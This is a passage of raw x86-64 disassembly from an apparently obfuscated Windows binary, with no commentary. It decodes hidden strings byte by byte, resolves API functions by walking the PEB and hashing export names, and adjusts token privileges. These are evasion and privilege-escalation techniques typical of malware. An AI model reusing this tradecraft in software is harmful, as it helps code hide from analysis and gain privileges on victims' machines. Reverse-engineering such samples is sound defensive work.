sub cl, al
add cl, cl
add cl, r9b
add byte [r8 + 9], cl
movzx edx, byte [r8 + 0xa]
lea ecx, [r9 - 0x5d]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
add dl, 0x7b
add al, dl
mov byte [r8 + 0xa], al
lea eax, [r9 - 0x5c]
and al, byte [r8 + 0xb]
mov ecx, ebx
sub cl, al
add cl, cl
add cl, byte [r8 + 0xb]
add cl, r9b
mov byte [r8 + 0xb], cl
movzx edx, byte [r8 + 0xc]
lea ecx, [r9 - 0x5b]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
add dl, 0x7d
add al, dl
mov byte [r8 + 0xc], al
lea eax, [r9 - 0x5a]
and al, byte [r8 + 0xd]
mov ecx, r10d
sub cl, al
add cl, cl
add cl, r9b
add byte [r8 + 0xd], cl
movzx edx, byte [r8 + 0xe]
lea rax, [r8 + rdi]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
movabs rax, 0xc04de792c6e84a7
add rcx, rax
add rcx, r9
sub cl, 0x28
mov byte [r8 + 0xe], cl
add r9, 0x10
cmp r9, 0x20
jb 0x140013ab0
lea rcx, [rsp + 0x30]
mov rdi, qword [rbp - 8]
call rdi
mov al, 0x7a
mov r8b, 0x49
mov r9b, 0x79
mov r10b, 0x78
mov r11b, 4
mov sil, 0x71
mov r14b, 0x48
mov r15b, 0x4b
mov r12b, 0xde
xor r13d, r13d
mov qword [rsp + 0x59], r13
mov dword [rsp + 0x61], r13d
mov word [rsp + 0x65], r13w
movzx edx, al
movzx eax, dl
and al, 0xa3
mov ebx, 0x17
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x50], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xa4
add al, al
sub cl, al
add cl, 0x2f
mov byte [rsp + 0x51], cl
movzx edx, r9b
movzx eax, dl
and al, 0xa5
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x52], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xa6
add al, al
sub cl, al
add cl, 0x31
mov byte [rsp + 0x53], cl
movzx edx, r11b
movzx eax, dl
and al, 0xa7
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x54], cl
movzx ecx, sil
movzx eax, cl
and al, 0xa8
add al, al
sub cl, al
add cl, 0x33
mov byte [rsp + 0x55], cl
movzx edx, r14b
movzx eax, dl
and al, 0xa9
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x56], cl
movzx ecx, r15b
movzx eax, cl
and al, 0xaa
add al, al
sub cl, al
add cl, 0x35
mov byte [rsp + 0x57], cl
movzx edx, r12b
movzx eax, dl
and al, 0xab
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x58], cl
movzx ecx, r13b
movzx eax, cl
and al, 0xac
add al, al
sub cl, al
add cl, 0x37
mov byte [rsp + 0x59], cl
movzx edx, byte [rsp + 0x5a]
movzx eax, dl
and al, 0xad
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x5a], cl
movzx ecx, byte [rsp + 0x5b]
movzx eax, cl
and al, 0xae
add al, al
sub cl, al
add cl, 0x39
mov byte [rsp + 0x5b], cl
movzx edx, byte [rsp + 0x5c]
movzx eax, dl
and al, 0xaf
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x5c], cl
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 0xb0
add al, al
sub cl, al
add cl, 0x3b
mov byte [rsp + 0x5d], cl
movzx edx, byte [rsp + 0x5e]
movzx eax, dl
and al, 0xb1
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 0xb2
add al, al
sub cl, al
add cl, 0x3d
mov byte [rsp + 0x5f], cl
movzx edx, byte [rsp + 0x60]
movzx eax, dl
and al, 0xb3
mov ecx, 0x1f
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x60], cl
movzx ecx, r13b
movzx eax, cl
and al, 0xb4
add al, al
sub cl, al
add cl, 0x3f
mov byte [rsp + 0x61], cl
movzx edx, byte [rsp + 0x62]
movzx eax, dl
and al, 0xb5
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x62], cl
movzx ecx, byte [rsp + 0x63]
movzx eax, cl
and al, 0xb6
add al, al
sub cl, al
add cl, 0x41
mov byte [rsp + 0x63], cl
movzx edx, byte [rsp + 0x64]
movzx eax, dl
and al, 0xb7
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x64], cl
movzx ecx, r13b
movzx eax, cl
and al, 0xb8
add al, al
sub cl, al
add cl, 0x43
mov byte [rsp + 0x65], cl
movzx edx, byte [rsp + 0x66]
movzx eax, dl
and al, 0xb9
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x66], cl
movzx ecx, r13b
mov eax, ecx
movabs rdx, 0x7ef5f8a9fa6035ba
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x75
mov byte [rsp + 0x67], cl
lea rcx, [rsp + 0x50]
call rdi
mov dword [rsp + 0x30], 0x82a8898d
mov dword [rsp + 0x34], 0x51519890
mov dword [rsp + 0x38], 0x87868156
mov byte [rsp + 0x3c], 0x38
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov r9d, r13d
movabs r11, 0x1f0924ef15158095
mov r10, r11
lea rax, [rsp + 0x31]
sub r10, rax
lea esi, [rbx - 0x12]
lea r14d, [r13 + 7]
lea r15d, [r13 + 4]
lea r12d, [r13 + 6]
nop word [rax + rax]
lea r8, [rsp + 0x31]
add r8, r9
movzx edx, byte [r8 - 1]
lea ecx, [r9 - 0x7a]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x24
add al, dl
mov byte [r8 - 1], al
movzx edx, byte [r8]
lea ecx, [r9 - 0x79]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x23
add al, dl
mov byte [r8], al
movzx edx, byte [r8 + 1]
lea ecx, [r9 - 0x78]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x22
add al, dl
mov byte [r8 + 1], al
movzx edx, byte [r8 + 2]
lea ecx, [r9 - 0x77]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x21
add al, dl
mov byte [r8 + 2], al
movzx edx, byte [r8 + 3]
lea ecx, [r9 - 0x76]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x20
add al, dl
mov byte [r8 + 3], al
movzx edx, byte [r8 + 4]
lea ecx, [r9 - 0x75]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x1f
add al, dl
mov byte [r8 + 4], al
movzx edx, byte [r8 + 5]
lea ecx, [r9 - 0x74]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x1e
add al, dl
mov byte [r8 + 5], al
movzx edx, byte [r8 + 6]
lea ecx, [r9 - 0x73]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x1d
add al, dl
mov byte [r8 + 6], al
movzx edx, byte [r8 + 7]
lea ecx, [r9 - 0x72]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x1c
add al, dl
mov byte [r8 + 7], al
movzx edx, byte [r8 + 8]
lea ecx, [r9 - 0x71]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x1b
add al, dl
mov byte [r8 + 8], al
movzx edx, byte [r8 + 9]
lea ecx, [r9 - 0x70]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x1a
add al, dl
mov byte [r8 + 9], al
movzx edx, byte [r8 + 0xa]
lea ecx, [r9 - 0x6f]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x19
add al, dl
mov byte [r8 + 0xa], al
movzx edx, byte [r8 + 0xb]
lea ecx, [r9 - 0x6e]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x18
add al, dl
mov byte [r8 + 0xb], al
movzx ecx, byte [r8 + 0xc]
lea eax, [r9 - 0x6d]
and al, cl
add al, al
sub cl, al
sub cl, bl
add cl, r9b
mov byte [r8 + 0xc], cl
movzx edx, byte [r8 + 0xd]
lea ecx, [r9 - 0x6c]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
sub dl, 0x16
add al, dl
mov byte [r8 + 0xd], al
movzx edx, byte [r8 + 0xe]
lea rax, [r8 + r10]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r11
add rcx, r9
add cl, 0x56
mov byte [r8 + 0xe], cl
add r9, 0x10
cmp r9, 0x20
jb 0x140013f30
lea rcx, [rsp + 0x30]
call rdi
mov al, 0x49
movzx edx, al
mov r8b, 0x4c
mov r9b, 0x7b
mov r10b, 0x7d
mov r11b, 0x4a
xor ecx, ecx
mov qword [rbp - 8], rcx
mov qword [rsp + 0x5c], rcx
mov dword [rsp + 0x64], ecx
movzx ecx, al
movzx eax, cl
and al, 0xa3
sub bl, al
add bl, bl
add bl, cl
mov byte [rsp + 0x50], bl
mov ecx, edx
movzx eax, dl
and al, 0xa4
add al, al
sub cl, al
add cl, 0x2f
mov byte [rsp + 0x51], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xa5
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x52], dl
movzx ecx, r9b
movzx eax, cl
and al, 0xa6
add al, al
sub cl, al
add cl, 0x31
mov byte [rsp + 0x53], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xa7
mov edx, 0x19
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x54], dl
movzx ecx, r11b
movzx eax, cl
and al, 0xa8
add al, al
sub cl, al
add cl, 0x33
mov byte [rsp + 0x55], cl
mov al, 0x73
movzx ecx, al
movzx eax, cl
and al, 0xa9
mov edx, 0x1a
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x56], dl
mov al, 9
movzx ecx, al
movzx eax, cl
and al, 0xaa
add al, al
sub cl, al
add cl, 0x35
mov byte [rsp + 0x57], cl
mov al, 0x72
movzx ecx, al
movzx eax, cl
and al, 0xab
mov edx, 0x1b
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x58], dl
mov al, 0x4d
movzx ecx, al
movzx eax, cl
and al, 0xac
add al, al
sub cl, al
add cl, 0x37
mov byte [rsp + 0x59], cl
movzx eax, r8b
mov ecx, eax
and al, 0xad
mov edx, 0x1c
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x5a], dl
mov al, 0xdb
movzx ecx, al
movzx eax, cl
and al, 0xae
add al, al
sub cl, al
add cl, 0x39
mov byte [rsp + 0x5b], cl
mov r8, qword [rbp - 8]
movzx ecx, r8b
movzx eax, cl
and al, 0xaf
mov edx, 0x1d
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x5c], dl
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 0xb0
add al, al
sub cl, al
add cl, 0x3b
mov byte [rsp + 0x5d], cl
movzx ecx, byte [rsp + 0x5e]
movzx eax, cl
and al, 0xb1
mov edx, 0x1e
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x5e], dl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 0xb2
add al, al
sub cl, al
add cl, 0x3d
mov byte [rsp + 0x5f], cl
movzx ecx, byte [rsp + 0x60]
movzx eax, cl
and al, 0xb3
mov edx, 0x1f
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x60], dl
movzx ecx, byte [rsp + 0x61]
movzx eax, cl
and al, 0xb4
add al, al
sub cl, al
add cl, 0x3f
mov byte [rsp + 0x61], cl
movzx ecx, byte [rsp + 0x62]
movzx eax, cl
and al, 0xb5
mov edx, 0x20
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x62], dl
movzx ecx, byte [rsp + 0x63]
movzx eax, cl
and al, 0xb6
add al, al
sub cl, al
add cl, 0x41
mov byte [rsp + 0x63], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xb7
mov edx, 0x21
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x64], dl
movzx ecx, byte [rsp + 0x65]
movzx eax, cl
and al, 0xb8
add al, al
sub cl, al
add cl, 0x43
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
movzx eax, cl
and al, 0xb9
mov edx, 0x22
sub dl, al
add dl, dl
add dl, cl
mov byte [rsp + 0x66], dl
movzx ecx, byte [rsp + 0x67]
movzx eax, cl
and al, 0xba
add al, al
sub cl, al
add cl, 0x45
mov byte [rsp + 0x67], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x2f80a979068349bb
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x75
mov byte [rsp + 0x68], cl
lea rcx, [rsp + 0x50]
call rdi
mov al, 0xfb
mov r8b, 0xf0
mov r9b, 0xe4
mov r10b, 0xf9
mov r11b, 0xf5
mov bl, 0xfd
xor ecx, ecx
mov qword [rbp - 8], rcx
mov qword [rsp + 0x5d], rcx
mov word [rsp + 0x65], cx
movzx edx, al
movzx eax, dl
and al, 0x72
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x50], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x73
add al, al
sub cl, al
add cl, 0x55
mov byte [rsp + 0x51], cl
movzx edx, r9b
movzx eax, dl
and al, 0x74
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x52], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x75
add al, al
sub cl, al
add cl, 0x57
mov byte [rsp + 0x53], cl
movzx edx, r11b
movzx eax, dl
and al, 0x76
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x54], cl
movzx ecx, bl
movzx eax, cl
and al, 0x77
add al, al
sub cl, al
add cl, 0x59
mov byte [rsp + 0x55], cl
mov al, 0x29
movzx edx, al
movzx eax, dl
and al, 0x78
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x56], cl
mov al, 0x29
movzx ecx, al
movzx eax, cl
and al, 0x79
add al, al
sub cl, al
add cl, 0x5b
mov byte [rsp + 0x57], cl
mov al, 0x36
movzx edx, al
movzx eax, dl
and al, 0x7a
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x58], cl
movzx eax, r10b
mov ecx, eax
and al, 0x7b
add al, al
sub cl, al
add cl, 0x5d
mov byte [rsp + 0x59], cl
mov al, 0xf6
movzx edx, al
movzx eax, dl
and al, 0x7c
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x5a], cl
mov al, 0xf7
movzx ecx, al
movzx eax, cl
and al, 0x7d
add al, al
sub cl, al
add cl, 0x5f
mov byte [rsp + 0x5b], cl
mov al, 0x60
movzx edx, al
movzx eax, dl
and al, 0x7e
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x5c], cl
mov r8, qword [rbp - 8]
movzx ecx, r8b
movzx eax, cl
and al, 0x7f
add al, al
sub cl, al
add cl, 0x61
mov byte [rsp + 0x5d], cl
movzx edx, byte [rsp + 0x5e]
movzx eax, dl
and al, 0x80
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rsp + 0x5f]
movzx eax, cl
and al, 0x81
add al, al
sub cl, al
add cl, 0x63
mov byte [rsp + 0x5f], cl
movzx edx, byte [rsp + 0x60]
movzx eax, dl
and al, 0x82
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x60], cl
movzx ecx, byte [rsp + 0x61]
movzx eax, cl
and al, 0x83
add al, al
sub cl, al
add cl, 0x65
mov byte [rsp + 0x61], cl
movzx edx, byte [rsp + 0x62]
movzx eax, dl
and al, 0x84
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x62], cl
movzx ecx, byte [rsp + 0x63]
movzx eax, cl
and al, 0x85
add al, al
sub cl, al
add cl, 0x67
mov byte [rsp + 0x63], cl
movzx edx, byte [rsp + 0x64]
movzx eax, dl
and al, 0x86
mov ebx, 0x34
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x64], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x87
add al, al
sub cl, al
add cl, 0x69
mov byte [rsp + 0x65], cl
movzx ecx, byte [rsp + 0x66]
mov eax, ecx
movabs rdx, 0xff14b80b8f25f288
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x1e
mov byte [rsp + 0x66], cl
lea rcx, [rsp + 0x50]
call rdi
mov al, 0x98
mov dl, 0x8c
mov r8b, 0x93
mov r9b, 0xd5
mov r10b, 0x9e
mov r11b, 0x91
xorps xmm0, xmm0
xor ecx, ecx
mov qword [rbp - 8], rcx
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x48], ecx
mov word [rsp + 0x4c], cx
movzx ecx, al
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
sub cl, 0xa
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x58
add al, al
sub cl, al
sub cl, 9
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x59
add al, al
sub cl, al
sub cl, 8
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x5a
add al, al
sub cl, al
sub cl, r14b
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x5b
add al, al
sub cl, al
sub cl, r12b
mov byte [rsp + 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x5c
add al, al
sub cl, al
sub cl, sil
mov byte [rsp + 0x35], cl
mov al, 0x90
movzx ecx, al
movzx eax, cl
and al, 0x5d
add al, al
sub cl, al
sub cl, r15b
mov byte [rsp + 0x36], cl
mov al, 0x3f
movzx ecx, al
movzx eax, cl
and al, 0x5e
add al, al
sub cl, al
sub cl, 3
mov byte [rsp + 0x37], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0x5f
add al, al
sub cl, al
sub cl, 2
mov byte [rsp + 0x38], cl
movzx ecx, byte [rsp + 0x39]
movzx eax, cl
and al, 0x60
add al, al
sub cl, al
dec cl
mov byte [rsp + 0x39], cl
movzx ecx, byte [rsp + 0x3a]
movzx eax, cl
and al, 0x61
add al, al
sub cl, al
mov byte [rsp + 0x3a], cl
movzx ecx, byte [rsp + 0x3b]
movzx eax, cl
and al, 0x62
add al, al
sub cl, al
inc cl
mov byte [rsp + 0x3b], cl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 0x63
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x64
add al, al
sub cl, al
add cl, 3
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x65
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x66
add al, al
sub cl, al
add cl, sil
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x67
mov ecx, 3
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x68
add al, al
sub cl, al
add cl, r14b
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x69
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0x6a
add al, al
sub cl, al
add cl, 9
mov byte [rsp + 0x43], cl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x6b
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0x6c
add al, al
sub cl, al
add cl, 0xb
mov byte [rsp + 0x45], cl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x6d
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0x6e
add al, al
sub cl, al
add cl, 0xd
mov byte [rsp + 0x47], cl
mov r8, qword [rbp - 8]
movzx edx, r8b
movzx eax, dl
and al, 0x6f
mov ecx, r14d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0x70
add al, al
sub cl, al
add cl, 0xf
mov byte [rsp + 0x49], cl
movzx edx, byte [rsp + 0x4a]
movzx eax, dl
and al, 0x71
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x4a], cl
movzx ecx, byte [rsp + 0x4b]
movzx eax, cl
and al, 0x72
add al, al
sub cl, al
add cl, 0x11
mov byte [rsp + 0x4b], cl
movzx edx, r8b
movzx eax, dl
and al, 0x73
mov ecx, 9
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x4c], cl
movzx ecx, byte [rsp + 0x4d]
mov eax, ecx
movabs rdx, 0x345dd0cee74
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x61
mov byte [rsp + 0x4d], cl
lea rcx, [rsp + 0x30]
call rdi
mov al, 0xf3
mov r8b, 9
mov r9b, 1
mov r10b, 0xc
mov r11b, 0xf6
xor sil, sil
mov r14b, 0x48
mov r15b, 3
mov r12b, 4
xor ecx, ecx
mov qword [rbp - 8], rcx
mov dword [rbp + 0xb], ecx
movzx ecx, al
movzx eax, cl
and al, 0xf0
mov edx, 0x30
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp], dl
movzx ecx, r8b
movzx eax, cl
and al, 0xf1
add al, al
sub cl, al
add cl, 0x61
mov byte [rbp + 1], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xf2
mov edx, 0x31
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp + 2], dl
movzx ecx, r10b
movzx eax, cl
and al, 0xf3
add al, al
sub cl, al
add cl, 0x63
mov byte [rbp + 3], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xf4
mov edx, 0x32
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp + 4], dl
movzx ecx, sil
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
add cl, 0x65
mov byte [rbp + 5], cl
movzx ecx, r14b
movzx eax, cl
and al, r11b
mov edx, 0x33
sub dl, al
add dl, dl
add dl, cl
mov byte [rbp + 6], dl
movzx ecx, r15b
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
add cl, 0x67
mov byte [rbp + 7], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xf8
sub bl, al
add bl, bl
add bl, cl
mov byte [rbp + 8], bl
mov al, 5
movzx ecx, al
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
add cl, 0x69
mov byte [rbp + 9], cl
mov al, 0x6a
movzx edx, al
movzx eax, dl
and al, 0xfa
mov ecx, 0x35
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0xa], cl
mov r8, qword [rbp - 8]
movzx ecx, r8b
movzx eax, cl
and al, 0xfb
add al, al
sub cl, al
add cl, 0x6b
mov byte [rbp + 0xb], cl
movzx edx, byte [rbp + 0xc]
movzx eax, dl
and al, 0xfc
mov ecx, 0x36
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0xc], cl
movzx ecx, byte [rbp + 0xd]
movzx eax, cl
and al, 0xfd
add al, al
sub cl, al
add cl, 0x6d
mov byte [rbp + 0xd], cl
movzx edx, byte [rbp + 0xe]
movzx eax, dl
and al, 0xfe
mov ecx, 0x37
mov dword [rbp + 0x10], ecx
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 0xe], cl
movzx eax, r8b
movabs rcx, 0x5d718f0e9e0d7eff
sub rcx, rax
add cl, 0x70
mov byte [rbp + 0xf], cl
lea rcx, [rbp]
call rdi
mov r15d, r13d
mov r14d, 0xa973e3b1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
cmp qword [rax + 0x30], r13
je 0x140014c0a
cmp word [rax + 0x48], r13w
je 0x140014c0a
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r15d, r15d
je 0x140014a93
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x8970e30e
cmp r9, r11
je 0x140014a8a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140014a60
cmp r10d, r15d
jne 0x140014c0a
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov rdx, qword [rcx + rbx + 0x88]
mov r11, rdx
shr r11, 0x20
mov qword [rbp - 0x28], r11
mov esi, edx
add rsi, rbx
cmp rsi, rbx
je 0x140014c0a
mov edi, dword [rsi + 0x18]
test edi, edi
je 0x140014c0a
mov r8d, dword [rsi + 0x1c]
add r8, rbx
mov qword [rbp - 8], r8
mov ecx, dword [rsi + 0x24]
add rcx, rbx
mov qword [rbp + 0x18], rcx
mov r9d, dword [rsi + 0x20]
dec edi
movzx ecx, word [rcx + rdi*2]
mov r10d, dword [r8 + rcx*4]
add r10, rbx
mov qword [rbp - 0x10], r10
lea rcx, [rbx + rdi*4]
mov r9d, dword [rcx + r9]
add r9, rbx
cmp r10, rsi
jbe 0x140014b0f
lea rcx, [rsi + r11]
cmp r10, rcx
jae 0x140014b0f
mov r12b, 1
jmp 0x140014b12
xor r12b, r12b
mov r11d, 0x8970e30e
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140014b5b
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140014b30
cmp r11d, r14d
je 0x140014b80
test edi, edi
mov r8, qword [rbp - 8]
mov rcx, qword [rbp + 0x18]
mov r11, qword [rbp - 0x28]
mov r9d, dword [rsi + 0x20]
jne 0x140014ae0
mov rax, qword [rax]
jmp 0x140014a11
test r12b, r12b
je 0x140014c12
mov r15d, 0x8970e30e
mov r14d, r15d
movzx edx, byte [r10]
cmp dl, 0x2e
je 0x140014bc7
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r10
movzx edx, byte [r10]
cmp dl, 0x2e
jne 0x140014ba0
inc r10
movzx edx, byte [r10]
test dl, dl
je 0x140014bf9
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea r10, [r10 + 1]
movzx edx, byte [r10]
test dl, dl
jne 0x140014bd2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140014a11
mov dword [rbp + 0x18], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea r9, [rbp + 0x20]
xor r8d, r8d
mov r14d, 0x28
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x140014c6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x140016b27
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140016b27
mov esi, 1
mov dword [rbp + 0x50], esi
mov edi, 2
mov dword [rbp + 0x5c], edi
mov qword [rbp + 0x54], reloc.WS2_32.dll_sendto
lea rax, [rbp + 0x18]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 0xf]
lea r8, [rbp + 0x50]
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, eax
mov qword [rbp + 0x54], 0xa
lea rax, [rbp + 0x18]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 0xf]
lea r8, [rbp + 0x50]
xor edx, edx
